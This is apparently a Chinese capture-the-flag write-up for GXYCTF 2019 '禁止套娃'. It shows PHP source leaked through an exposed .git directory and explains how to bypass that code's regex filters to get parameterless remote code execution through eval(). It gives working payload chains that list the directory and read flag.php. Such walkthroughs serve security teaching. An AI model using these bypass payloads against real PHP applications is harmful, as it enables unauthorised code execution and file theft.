[GXYCTF 2019]禁止套娃

[GXYCTF 2019]禁止套娃

git源码泄露

通过扫目录得到/.git/目录,然后使用 githack 得到源码:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析源码得出:

  • flag在flag.php
  • GET传参exp
  • 过滤了data://、filter://、php://、phar://这些伪协议,就不能用伪协议读flag.php
  • 过滤掉()里面的内容,因此是个典型的无参数RCE
  • 过滤了一些字符串et|na|info|dec|bin|hex|oct|pi|log

无参数RCE

如何得到文件名flag.php

要想读出flag.php,就需要有一个函数返回flag.php文件名,scandir()函数可以扫描当前目录下的文件,例如:

# php -r "print_r(scandir('.'));";
Array
(
    [0] => .
    [1] => ..
    [2] => .idea
    [3] => flag.php
    [4] => index.html
    [5] => tmp
)

如何得到scandir()中的’.’

chr(46)

对于这种方法chr(46),又来了新的问题,46如何得到?列出三种方法

  • chr(rand())
  • chr(time())
  • chr(current(localtime(time())))

首先解释一下chr()函数,我们知道time()返回一个非常大的数,却依然能够通过chr(time())得到一个点。这是因为chr()函数以256为一个周期,即chr(0) chr(256) chr(512)以此类推 他们都是相等。比如我们可以得到1w以内能够得到点的数

<?php
for ($i = 0; $i<10000; $i++) 
    if ( chr($i) === '.')
        echo $i." ";
46 302 558 814 1070 1326 1582 1838 2094 2350 2606 2862 3118 3374 3630 3886 4142 4398 4654 4910 5166 5422 5678 5934 6190 6446 6702 6958 7214 7470 7726 7982 8238 8494 8750 9006 9262 9518 9774

因此,假设使用chr(time()),最多256秒(4.26min)走完一个周期,必定出现一个点。

localtime(time())的返回一个数组,Array[0]为一个0~60之间的数字,每秒加1,所以最多一分钟就可以得到46。由于php数组内部指针默认指向第一个元素,所以current()pos()取数组中当前元素的值,就得到了这个数字。

# php -r "print_r(localtime(time()));";
Array
(
    [0] => 50
    [1] => 17
    [2] => 11
    [3] => 22
    [4] => 9
    [5] => 121
    [6] => 5
    [7] => 294
    [8] => 0
)

相关操作数组的方法有:

  • end() – 将内部指针指向数组中的最后一个元素,并输出
  • next() – 将内部指针指向数组中的下一个元素,并输出
  • prev() – 将内部指针指向数组中的上一个元素,并输出
  • reset() – 将内部指针指向数组中的第一个元素,并输出
  • each() – 返回当前元素的键名和键值,并将内部指针向前移动

end()next()很多时候都很有用

current(localeconv())

localeconv() 函数返回一包含本地数字及货币格式信息的数组,current(localeconv())永远都是个点

# php -r "print_r(current(localeconv()));";
.

phpversion()

原文链接:http://www.manongjc.com/detail/13-ksgbihhdbvdbnza.html

phpversion()            // 返回php版本,如7.3.5

floor(phpversion())        // 返回7

sqrt(floor(phpversion()))        // 返回2.6457513110646

tan(floor(sqrt(floor(phpversion()))))        // 返回-2.1850398632615

cosh(tan(floor(sqrt(floor(phpversion())))))        // 返回4.5017381103491

sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))    // 返回45.081318677156

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))        // 返回46

chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))        // 返回.

var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))        // 扫描当前目录

next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))        // 返回..

crypt()

原文链接 https://www.jianshu.com/p/060d16584b8e

原理:hebrevc(crypt(arg))crypt(serialize(array())) 可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过 ord()chr()只取第一个字符

readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

如何得到flag.php

现在,我们尝试用scandir()扫描当前目录

?exp=print_r(scandir(current(localeconv())));
image-20211022113045394

可见,flag.php是倒数第二个值,假设是倒数第一个我们可以用end(),但是并没有一个操作数组的函数能够输出数组的倒数第二个值。

array_reverse()

array_reverse()以相反的元素顺序返回数组,再用next()将内部指针指向数组中的下一个元素并输出,next(array_reverse(scandir(pos(localeconv()))))就得到了flag.php

array_rand(array_flip())

array_flip()交换数组的键和值,然后再使用array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php

session_id(session_start())

使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。

session_id()可以获取到当前的session id。

因此我们手动设置名为PHPSESSID的cookie,并设置值为flag.php

image-20211022114556540

如何读flag.php的源码

因为et被ban了,所以不能使用file_get_contents(),但是可以可以使用readfile()highlight_file()以及其别名函数show_source()

参考资料

简析GXY_CTF “禁止套娃”无参数RCE

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇